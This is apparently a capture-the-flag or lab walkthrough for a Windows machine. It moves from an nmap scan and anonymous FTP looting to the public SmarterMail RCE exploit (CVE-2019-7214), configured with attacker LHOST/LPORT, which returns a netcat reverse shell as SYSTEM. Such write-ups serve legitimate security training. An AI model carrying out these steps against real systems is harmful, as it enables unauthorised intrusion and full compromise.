Initial Nmap Scan
Kick things off with a full Nmap scan:
sudo nmap -Pn -n $IP -sC -sV -p- --open -v
Here’s the breakdown: we’re running with sudo
to take advantage of the faster SYN scan. -Pn
assumes the host is online (skipping ping), -n
avoids DNS resolution, -sC
runs default scripts, and -sV
attempts to determine service versions. The -p-
flag tells Nmap to check all 65535 ports, and --open
restricts script and version detection to ports that are actually open — saves time.
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20 10:31PM <DIR> ImapRetrieval
| 04-04-25 06:19PM <DIR> Logs
| 04-29-20 10:31PM <DIR> PopRetrieval
|_04-29-20 10:32PM <DIR> Spool
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
9998/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /interface/root
|_http-favicon: Unknown favicon MD5: 9D7294CAAB5C2DF4CD916F53653714D5
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D
| Content-Type: text/html; charset=us-ascii\x0D
| Server: Microsoft-HTTPAPI/2.0\x0D
| Date: Sat, 05 Apr 2025 01:36:05 GMT\x0D
| Connection: close\x0D
| Content-Length: 326\x0D
| \x0D
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">\x0D
| <HTML><HEAD><TITLE>Bad Request</TITLE>\x0D
| <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>\x0D
| <BODY><h2>Bad Request - Invalid Verb</h2>\x0D
| <hr><p>HTTP Error 400. The request verb is invalid.</p>\x0D
|_</BODY></HTML>\x0D
17001/tcp open remoting MS .NET Remoting services
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-04-05T01:36:09
|_ start_date: N/A
What Did We Find?
The scan reveals quite a few interesting services:
- FTP (port 21) with anonymous login allowed — bonus!
- HTTP on port 80
- SMB services (ports 139 and 445)
- Two odd ones: 9998 and 17001
- And loads of RPC ports
Let’s start digging into that anonymous FTP access.
Grabbing Files via FTP
Since anonymous login is allowed, we can quickly download all available files using wget
:
wget -r ftp://Anonymous:pass@$IP
This recursively pulls all files and directories from the FTP server into a new folder named after the IP.
┌──(kali㉿kali)-[~/192.168.191.65]
└─$ ll
total 16
drwxrwxr-x 2 kali kali 4096 Apr 4 21:24 ImapRetrieval
drwxrwxr-x 2 kali kali 4096 Apr 4 21:25 Logs
drwxrwxr-x 2 kali kali 4096 Apr 4 21:25 PopRetrieval
drwxrwxr-x 3 kali kali 4096 Apr 4 21:25 Spool
Among these, only the Logs
folder contains anything useful. Let’s check what’s inside:
cd Logs
cat *
A chunk of log data reveals something handy — an admin user logged into Webmail:
<SNIP>
03:35:45.726 [192.168.118.6] User @ calling create primary system admin, username: admin
03:35:47.054 [192.168.118.6] Webmail Attempting to login user: admin
03:35:47.054 [192.168.118.6] Webmail Login successful: With user admin
<SNIP>
So we know the user is “admin”, and Webmail is in play. Let’s investigate.
SmarterMail Web Interface (Port 9998)
Browsing to port 9998 in a web browser takes us to a SmarterMail login screen.
We don’t yet know the version, but it’s worth checking searchsploit
for potential vulnerabilities:
searchsploit Smartermail
One of the results points to a Remote Code Execution (RCE) exploit script:
searchsploit -m windows/remote/49216.py
This copies the Python exploit to your local machine:
┌──(kali㉿kali)-[~]
└─$ searchsploit -m windows/remote/49216.py
Exploit: SmarterMail Build 6985 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/49216
Path: /usr/share/exploitdb/exploits/windows/remote/49216.py
Codes: CVE-2019-7214
Verified: False
File Type: Python script, ASCII text executable, with very long lines (4852)
Copied to: /home/kali/49216.py
Preparing the Exploit
Open the script in your favourite editor (I prefer subl
):
subl 49216.py
Inside, update the config section:
HOST='192.168.191.65' # IP of the target box
PORT=17001 # As noted in our Nmap results
LHOST='192.168.45.239' # Your Kali IP (check with `ip a`)
LPORT=135 # Listener port – you can use a common one like 135
Once updated, save and set up a netcat listener. I use rlwrap
to enable arrow key history:
sudo rlwrap nc -lnvp 135
Running the Exploit
Fire off the script:
python3 49216.py
Check your listener — if successful, you’ll land a reverse shell. Press Enter and confirm with:
whoami
┌──(kali㉿kali)-[~]
└─$ sudo rlwrap nc -lnvp 135
listening on [any] 135 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.191.65] 49950
PS C:\Windows\system32> whoami
nt authority\system
That’s full system access. You can now grab the flag from the Administrator’s desktop.
Summary
We exploited a known RCE in SmarterMail exposed via a non-standard port. Access was initially gained thanks to an open FTP server that gave away log details — a good reminder that weak configs often lead to total compromise.